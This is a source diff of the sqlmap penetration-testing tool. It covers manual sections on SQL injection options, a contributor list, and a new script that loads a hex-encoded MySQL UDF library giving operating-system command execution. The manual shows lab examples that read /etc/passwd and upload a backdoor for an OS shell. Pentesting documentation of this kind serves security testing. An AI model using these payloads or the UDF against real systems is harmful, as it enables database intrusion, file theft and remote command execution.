image/png,*/*;q=0.5
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
@ -1211,7 +1272,7 @@ Authorization: Digest username="testuser", realm="Testing digest authentication"
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</verb></tscreen>
@ -1327,6 +1388,16 @@ the HTTP request timed out. The valid value is a float, for instance
10.5 means ten seconds and a half.
<sect2>Maximum number of retries when the HTTP connection timeouts
<p>
Option: <tt>--retries</tt>
<p>
It is possible to specify the maximum number of retries when the HTTP
connection timeouts. By default it retries up to three times.
<sect1>Injection
<p>
@ -1384,7 +1455,7 @@ Example on a <bf>MySQL 5.0.67</bf> target:
<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
-p "user-agent" --user-agent "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url
@ -1468,6 +1539,33 @@ back-end database management system. If you do not know it, let sqlmap
automatically identify it for you.
<sect2>Force the database management system operating system name
<p>
Option: <tt>--os</tt>
<p>
By default sqlmap automatically detects the web application's back-end
database manangement system underlying operating system when requested by
any other functionality.
At the moment the fully supported operating systems are two:
<itemize>
<item>Linux
<item>Windows
</itemize>
<p>
It is possible to force the operating system name if you already know it so
that sqlmap will skip the fingerprint.
<p>
Note that this option is <bf>not</bf> mandatory and it is strongly
recommended to use it <bf>only if you are absolutely sure</bf> about the
back-end database management system underlying operating system. If you do
not know it, let sqlmap automatically identify it for you.
<sect2>Custom injection payload
<p>
@ -1500,7 +1598,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
@ -1572,7 +1670,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=
[hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@ -1594,7 +1692,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@ -1616,7 +1714,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@ -1824,10 +1922,10 @@ stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'=
<sect2>Test for time based blind SQL injection
<p>
Option: <tt>--time-test</tt>
Options: <tt>--time-test</tt> and <tt>--time-sec</tt>
<p>
It is possible to test if the target URL is affected by a <bf>Time based
It is possible to test if the target URL is affected by a <bf>time based
blind SQL injection</bf> vulnerability.
<p>
@ -1890,6 +1988,11 @@ time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';
'PmrXn'='PmrXn'
</verb></tscreen>
<p>
It is also possible to set the seconds to delay the response by providing
the <tt>--time-sec</tt> option followed by an integer. By default it delays
five seconds.
<sect2>Test for UNION query SQL injection
@ -2038,7 +2141,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
@ -3124,7 +3227,7 @@ Table: users
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
</verb></tscreen>
@ -3176,7 +3279,7 @@ Table: users
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | | nameisnull |
+----+----------------------------------------------+-------------------+
@ -3189,7 +3292,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
"1","luther","blissett"
"2","fluffy","bunny"
"3","wu","ming"
"4","sqlmap/0.6.4 (http://sqlmap.sourceforge.net)","user agent header"
"4","sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)","user agent header"
"5","","nameisnull"
</verb></tscreen>
@ -3217,7 +3320,7 @@ Table: users
+----+----------------------------------------------+-------------------+
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
+----+----------------------------------------------+-------------------+
</verb></tscreen>
@ -3249,7 +3352,7 @@ Table: users
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
@ -3338,7 +3441,7 @@ Table: users
+----+----------------------------------------------+-------------------+
| id | name | surname |
+----+----------------------------------------------+-------------------+
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
| 2 | fluffy | bunny |
| 1 | luther | blisset |
| 3 | wu | ming |
@ -3735,83 +3838,69 @@ support when the back-end DBMS is PostgreSQL.
<sect1>File system access
<sect2>Read a specific file content
<sect2>Read a file from the back-end DBMS file system
<p>
Option: <tt>--read-file</tt>
<p>
If the back-end database management system is MySQL and the current user
has <tt>FILE</tt> access (access to <tt>LOAD_FILE()</tt> builtin function),
it is possible to read the content of a specific file from the file system.
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment.
<sect2>Write a local file on the back-end DBMS file system
<p>
Example on a <bf>MySQL 5.0.67</bf> target:
Options: <tt>--write-file</tt> and <tt>--dest-file</tt>
<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
--read-file /etc/passwd -v 0
/etc/passwd:
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
---
</verb></tscreen>
<p>
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment.
<sect1>Operating system access
<sect2>Execute an operating system command
<p>
Option: <tt>--os-cmd</tt>
<p>
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment.
<sect2>Prompt for an interactive operating system shell
<p>
Option: <tt>--os-shell</tt>
<p>
If the back-end database management system is MySQL, the web application's
programming language is PHP and you, or sqlmap itself, found a writable
directory within the web server document root path, sqlmap can prompt for
an interactive operating system shell on the back-end database management
system.
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment.
<sect2>Prompt for an out-of-band shell, meterpreter or VNC
<p>
Example on a <bf>MySQL 5.0.67</bf> target:
<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
--os-shell -v 0
[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
[hh:mm:49] [INPUT] please provide the web server document root [/var/www]:
[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that
you want sqlmap to try to upload the agent [/var/www/test]:
[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands
right now? [Y/n] y
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
</verb></tscreen>
Options: <tt>--os-pwn</tt>, <tt>--priv-esc</tt>, <tt>--msf-path</tt> and <tt>--tmp-path</tt>
<p>
As you might notice, such operating system shell has the same
functionalities of SQL shell in terms of TAB completion and history support.
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment.
<sect2>One click prompt for an out-of-band shell, meterpreter or VNC
<p>
Options: <tt>--os-smbrelay</tt>, <tt>--priv-esc</tt> and <tt>--msf-path</tt>
<p>
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment.
<sect2>Stored procedure buffer overflow exploitation
<p>
Options: <tt>--os-bof</tt>, <tt>--priv-esc</tt> and <tt>--msf-path</tt>
<p>
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment.
<sect1>Miscellaneous
@ -3925,7 +4014,7 @@ $ python sqlmap.py --update -v 4
[hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /doc/VERSION HTTP/1.1
Host: sqlmap.sourceforge.net
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
@ -3944,7 +4033,7 @@ X-Pad: avoid browser bug
[hh:mm:56] [TRAFFIC OUT] HTTP request:
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
Host: www.sqlsecurity.com
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
language=en-US
Connection: close
@ -4104,7 +4193,6 @@ INI file, <tt>sqlmap-SAUbs.conf</tt>.
<tscreen><verb>
$ cat sqlmap-SAUbs.conf
[Target]
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
googledork =
@ -4119,7 +4207,7 @@ delay = 0
headers =
cookie =
proxy =
timeout = 10
timeout = 30
acred =
referer =
data =
@ -4127,10 +4215,11 @@ method = GET
[Miscellaneous]
updateall = False
eta = False
verbose = 2
batch = False
sessionfile =
eta = False
batch = False
cleanup = False
verbose = 1
[Enumeration]
dumpall = False
@ -4156,24 +4245,33 @@ getcurrentuser = False
getbanner = True
[File system]
dfile =
wfile =
rfile =
[Takeover]
msfpath =
osshell = False
ossmb = False
privesc = False
ospwn = False
tmppath =
oscmd =
osbof = False
[Fingerprint]
extensivefp = False
[Injection]
estring =
dbms =
string =
postfix =
regexp =
prefix =
testparameter =
regexp =
estring =
eregexp =
os =
[Techniques]
stackedtest = False
@ -4248,6 +4346,15 @@ As you can see, sqlmap choosed automatically to injection on the first
vulnerable parameter which is the default behaviour.
<sect2>Clean up the DBMS by sqlmap specific UDF and tables
<p>
Option: <tt>--cleanup</tt>
<p>
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment.
<sect>Disclaimer
<p>
@ -4263,13 +4370,11 @@ that such action might get you in trouble with a lot of law enforcement
agencies.
<sect>Authors
<sect>Author
<p>
<itemize>
<item><htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> (inquis) - project leader, core developer. PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&amp;search=0x05F5A30F" name="0x05F5A30F">
<item><htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci"> (belch) - project founder, initial developer. PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&amp;search=0x9A0E8190" name="0x9A0E8190">
</itemize>
<htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> (inquis) - Lead developer.
PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&amp;search=0x05F5A30F" name="0x05F5A30F">
</article>

View File

@ -5,9 +5,20 @@ Chip Andrews <chip@sqlsecurity.com>
at SQLSecurity.com and permission to implement the update feature
taking data from his site
Daniele Bellucci <daniele.bellucci@gmail.com>
for starting sqlmap project and developing it between July and August
2006
Jack Butler <fattredd@hotmail.com>
for providing me with the sqlmap site favicon
Cesar Cerrudo <cesar@argeniss.com>
for his Windows access token kidnapping tool Churrasco included in
sqlmap tree as a contrib library and used to run the stand-alone
payload stager on the target Windows machine as SYSTEM user if the
user wants to perform a privilege escalation attack,
http://www.argeniss.com/research/Churrasco.zip
Karl Chen <quarl@cs.berkeley.edu>
for providing with the multithreading patch for the inference
algorithm
@ -19,6 +30,11 @@ Pierre Chifflier <pollux@debian.org>
Stefano Di Paola <stefano.dipaola@wisec.it>
for suggesting good features
Dan Guido <dguido@gmail.com>
for promoting sqlmap in the context of the Penetration Testing and
Vulnerability Analysis class at the Polytechnic University of New York,
http://isisblogs.poly.edu/courses/pentest/
Adam Faheem <faheem.adam@is.co.za>
for reporting a few bugs
@ -33,6 +49,9 @@ Giorgio Fedon <giorgio.fedon@gmail.com>
for suggesting a speed improvement for bisection algorithm
for reporting a bug when running against Microsoft SQL Server 2005
Alan Franzoni <alan.franzoni@gmail.com>
for helping me out with Python subprocess library
Ivan Giacomelli <truemilk@insiberia.net>
for reporting a bug
for suggesting a minor enhancement
@ -59,11 +78,20 @@ Anant Kochhar <anant.kochhar@secureyes.net>
for providing me with feedback on the user's manual
Alexander Kornbrust <ak@red-database-security.com>
for reporting a bug
for reporting a couple of bugs
Guido Landi <lists@keamera.org>
for the great technical discussions
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
(MS09-004) exploit development, http://www.milw0rm.com/author/1413
Nico Leidecker <nico@leidecker.info>
for providing me with feedback on a few features
Gabriel Lima <pato@bugnet.com.br>
for reporting a bug
Pavol Luptak <pavol.luptak@nethemba.com>
for reporting a bug when injecting on a POST data parameter
@ -73,7 +101,7 @@ Michael Majchrowicz <mmajchrowicz@gmail.com>
for suggesting a lot of ideas and features
Ferruh Mavituna <ferruh@mavituna.com>
for providing me with ideas on the implementation on a couple of
for providing me with ideas on the implementation of a couple of
new features
Enrico Milanese <enricomilanese@gmail.com>
@ -83,6 +111,14 @@ Enrico Milanese <enricomilanese@gmail.com>
Roberto Nemirovsky <roberto.paes@gmail.com>
for pointing me out some enhancements
Markus Oberhumer <markus.oberhumer@jk.uni-linz.ac.at>
Laszlo Molnar <ml1050@cdata.tvnet.hu>
John F. Reiser <sales@bitwagon.com>
for their great tool UPX (Ultimate Packer for eXecutables) included
in sqlmap tree as a contrib library and used mainly to pack the
Metasploit Framework 3 payload stager portable executable,
http://upx.sourceforge.net
Antonio Parata <s4tan@ictsc.it>
for providing me with some ideas for the PHP backdoor
@ -123,7 +159,7 @@ Uemit Seren <uemit.seren@gmail.com>
for reporting a minor adjustment when running with python 2.6
Sumit Siddharth <sid@notsosecure.com>
for providing me with ideas on the implementation on a couple of
for providing me with ideas on the implementation of a couple of
features
M Simkin <mlsimkin@cox.net>
@ -133,6 +169,9 @@ Konrads Smelkovs <konrads@smelkovs.com>
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
SQL Server
Marek Stiefenhofer <m.stiefenhofer@r-tec.net>
for reporting a bug
Jason Swan <jasoneswan@gmail.com>
for reporting a bug when enumerating columns on Microsoft SQL Server
for suggesting a couple of improvements
@ -142,10 +181,13 @@ Alessandro Tanasi <alessandro@tanasi.it>
for suggesting many features and reporting some bugs
for reviewing the documentation
Andres Tarasco <atarasco@gmail.com>
for providing me with good feedback
Efrain Torres <et@metasploit.com>
for helping me out to improve the Metasploit Framework 3 sqlmap
auxiliary module and for commiting it on the Metasploit official
Subversion repository
subversion repository
for his great Metasploit WMAP Framework
Sandro Tosi <matrixhasu@gmail.com>
@ -160,6 +202,11 @@ Bedirhan Urgun <bedirhanurgun@gmail.com>
Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com>
for reporting an unhandled connection exception
Anthony Zboralski <anthony.zboralski@bellua.com>
for providing me with detailed feedback
for reporting a few minor bugs
for donating to sqlmap development
fufuh <fufuh@users.sourceforge.net>
for reporting a bug when running on Windows
@ -172,6 +219,19 @@ Sylphid <sylphid.su@sti.com.tw>
== Organizations ==
Black Hat team <info@blackhat.com>
for the opportunity to present my research on 'Advanced SQL injection
to operating system full control' at Black Hat Europe 2009 Briefings on
April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of
the sqlmap 0.7 release candidate version new features during my
presentation
Metasploit LLC <msfdev@metasploit.com>
for their powerful tool Metasploit Framework 3, used by sqlmap, among
others things, to create the payload stager and establish an
out-of-band connection between sqlmap and the database server,
http://www.metasploit.com/framework
OWASP Board <http://www.owasp.org>
for sponsoring part of the sqlmap development in the context of OWASP
Spring of Code 2007

View File

@ -0,0 +1,119 @@
-- Notes:
--
-- The SO compiled using MySQL 5.0.67 C libraries works also on MySQL
-- 5.1.30 and MySQL 4.1.22 (TODO: confirm)
--
-- SO compiled using MySQL 5.1.30 C libraries
-- lib_mysqludf_sys.so: 12896 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
-- lib_mysqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
--
-- Little hack to compress the shared object:
-- * Compile with -O1 the shared object
-- * Use strip to remove all symbols (-s) and non-global symbols (-x)
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data blob);
-- Insert the hexadecimal encoded UDF in the table
--
-- SO compiled using MySQL 5.1.30 C libraries
INSERT INTO udftest(data) VALUE (0x7f454c46010101000000000000000000030003000100000010080000340000007c1100000000000034002000050028001900180001000000000000000000000000000000bc0e0000bc0e0000050000000010000001000000040f0000041f0000041f00000801000010010000060000000010000002000000180f0000181f0000181f0000d0000000d0000000060000000400000051e574640000000000000000000000000000000000000000060000000400000052e57464040f0000041f0000041f0000fc000000fc00000004000000010000001100000024000000000000000d00000000000000030000001a00000000000000070000001b0000000a000000140000000f000000150000000c0000000e0000001e000000060000001c000000000000000000000000000000010000000000000000000000020000000400000000000000230000002200000000000000130000001d000000170000000b000000000000000000000005000000090000002100000011000000000000001800000020000000080000001f0000000000000010000000000000001900000000000000160000000000000012000000000000001100000010000000040000000700000001080440801946c99ca40803900460831000000012000000130000001500000016000000180000001b0000001d0000000000);
UPDATE udftest SET data=CONCAT(data,0x00001e000000000000001f0000002000000021000000220000002300000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed971581ca868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff3b9fd4a0ad73d1c50b5911feab5fbe12000000000000000000000000000000009500000000000000000000001200000001000000000000000000000020000000250000000000000000000000200000009b0000000000000000000000120000007201000000000000000000001200000039010000000000000000000012000000a3000000000000000000000012000000ab00000000000000000000001200000065010000000000000000000012000000480100000000000000000000120000008e000000000000000000000012000000b8000000000000000000000012000000160000000000000000000000220000004f010000000000000000000012000000b1000000000000000000000012000000400100006a0d00008b00000012000b0075000000db0800000500000012000b0010000000980e00000000000012000c00ff0000008d0c00004b00000012000b00df000000ac07000000000000120009008a0100000c200000000000001000f1ff300100004d0d00001d00000012000b009601000014200000000000001000f1ff);
UPDATE udftest SET data=CONCAT(data,0x56000000d10800000500000012000b00c90000001f0a00007300000012000b006a0100000f0e00004500000012000b0039000000cc0800000500000012000b00f2000000140c00007900000012000b00830100000c200000000000001000f1ff65000000d60800000500000012000b00e5000000050b00000f01000012000b00d7000000920a00007300000012000b0015010000d80c00007500000012000b0056010000f50d00001a00000012000b0085000000e00800003f01000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f63007374726e6370790066676574730070636c6f7365005f5f737461636b5f63686b5f6661696c007379735f6576616c5f696e6974007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379);
UPDATE udftest SET data=CONCAT(data,0x735f657865630073797374656d007379735f736574006d656d63707900736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3400474c4942435f322e3000474c4942435f322e310000000002000000000003000300030003000300030003000300040005000300020001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000400790100001000000000000000731f6909000005009b010000100000001469690d00000400a7010000100000001069690d00000300b1010000100000001169690d00000200bb010000000000001e09000008000000082000000800000014090000020b0000c50b0000020b00002b090000020100006a090000020400008b09000002070000b109000002080000c3090000020f0000100a0000020c00005f0d0000020600009c0d0000020a0000c10d0000020a0000df0d0000020e0000090e000002090000220e000002050000e81f000006020000ec1f000006030000f01f0000060d0000002000000702000004200000070d00005589e55383ec04e8000000005b81c33c1800008b93f4ffffff85d274);
UPDATE udftest SET data=CONCAT(data,0x05e81e000000e8bd000000e888060000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff000000005589e55653e8ad00000081c3da17000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8b8ffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c35b17000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35589e557565381ec2c0400008b5d0c8b45148985d8fbffff8b55188995d4fbffff65a1140000008945f031c0c7042401000000e8fcffffff89c6c7442404b40e00008b43088b00890424e8fcffffff8985dcfbffffc785e0fbffff00000000eb548dbdf0fbffffb800000000b9fffffffff2ae89c8f7d08d78ff8b9de0fbffff01fb895c2404893424e8fcffffff89c6897c24088d95f0fbffff895424048b95e0fbffff8d0410890424e8fcffffff899de0fbffff8b85dcfbffff89442408c7442404000400008d95f0fbffff891424e8fcffffff85c075888b);
UPDATE udftest SET data=CONCAT(data,0x85dcfbffff890424e8fcffffff803e00740485f6750b8b95d4fbffffc60201eb268b85e0fbffffc64406ff0089f7b800000000b9fffffffff2aef7d183e9018b95d8fbffff890a89f08b55f0653315140000007405e8fcffffff81c42c0400005b5e5f5dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e55383ec048b550c8b5d10833a027444c70345787065c7430463746564c7430820657861c7430c63746c79c743102074776fc7431420617267c74318756d656e66c7431c7473c6431e00ba01000000e9b10000008b4204833800744cc70345787065c7430463746564c7430820737472c7430c696e6720c7431074797065c7431420666f72c74318206e616dc7431c65207061c7432072616d65c7432474657200ba010000);
UPDATE udftest SET data=CONCAT(data,0x00eb5dc74004000000008b520c8b0283c002034204890424e8fcffffff8b550889420cba0000000085c07534c703436f756cc7430464206e6fc743087420616cc7430c6c6f6361c743107465206dc74314656d6f7266c743187900ba0100000089d083c4045b5dc35589e58b450c8b551083380175158b4004833800750d8b4508c60001b800000000eb54c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b8010000005dc35589e58b4510c7006c69625fc740046d797371c740086c756466c7400c5f737973c7401020766572c7401473696f6ec7401820302e3066c7401c2e33c6401e008b5514c7021e0000005dc35589e58b5510b9000000008b450c833800745ec7024e6f2061c742047267756dc74208656e7473c7420c20616c6cc742106f776564c7421420287564c74218663a206cc7421c69625f6dc742207973716cc742247564665fc742287379735fc7422c696e666f66c742302900b90100000089c85dc35589e583ec088b450c8b40088b00890424e8fcffffff89c2c1fa1fc9c35589e583ec18895df48975f8897dfc8b5d0c8b45088b700c8b430c8b108d7c16018b43088b008954240889442404893424e8fcff);
UPDATE udftest SET data=CONCAT(data,0xffff8b430c8b00c60406008b530c8b43088b48048b420489442408894c2404893c24e8fcffffff8b430c8b4004c6040700c744240801000000897c2404893424e8fcffffff89c2c1fa1f8b5df48b75f88b7dfc89ec5dc35589e583ec088b45088b400c85c07408890424e8fcffffffc9c35589e55783ec048b450c8b40088b00890424e8fcffffff89c285c075088b4518c60001eb1889c7b800000000b9fffffffff2aef7d183e9018b4514890889d083c4045f5dc39090909090909090909090905589e55653e85dfaffff81c38a1100008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c350110000e860f9ffff595bc9c37200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000790100000c000000ac0700000d000000980e000004000000d4000000f5feff6fb001000005000000a404000006000000640200000a000000c50100000b0000001000000003000000f41f000002000000100000001400000011000000170000009c07000011000000040700001200000098000000);
